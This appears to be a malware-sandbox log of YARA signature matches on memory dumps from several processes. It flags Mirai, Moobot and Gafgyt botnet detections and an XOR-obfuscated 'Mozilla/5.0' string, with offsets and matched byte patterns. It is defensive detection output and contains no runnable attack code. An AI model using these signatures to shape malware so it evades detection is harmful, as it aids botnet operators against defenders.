6955.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6853.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6853.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6853.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6853.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6853.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6853.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6748.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6354.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6918.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6332.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6332.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6332.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6615.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6615.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6615.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6615.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6615.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6615.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6686.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6255.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6460.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6838.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6247.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6443.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6443.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6443.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6443.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6443.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6443.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7061.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7061.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7061.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7061.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7061.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7061.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
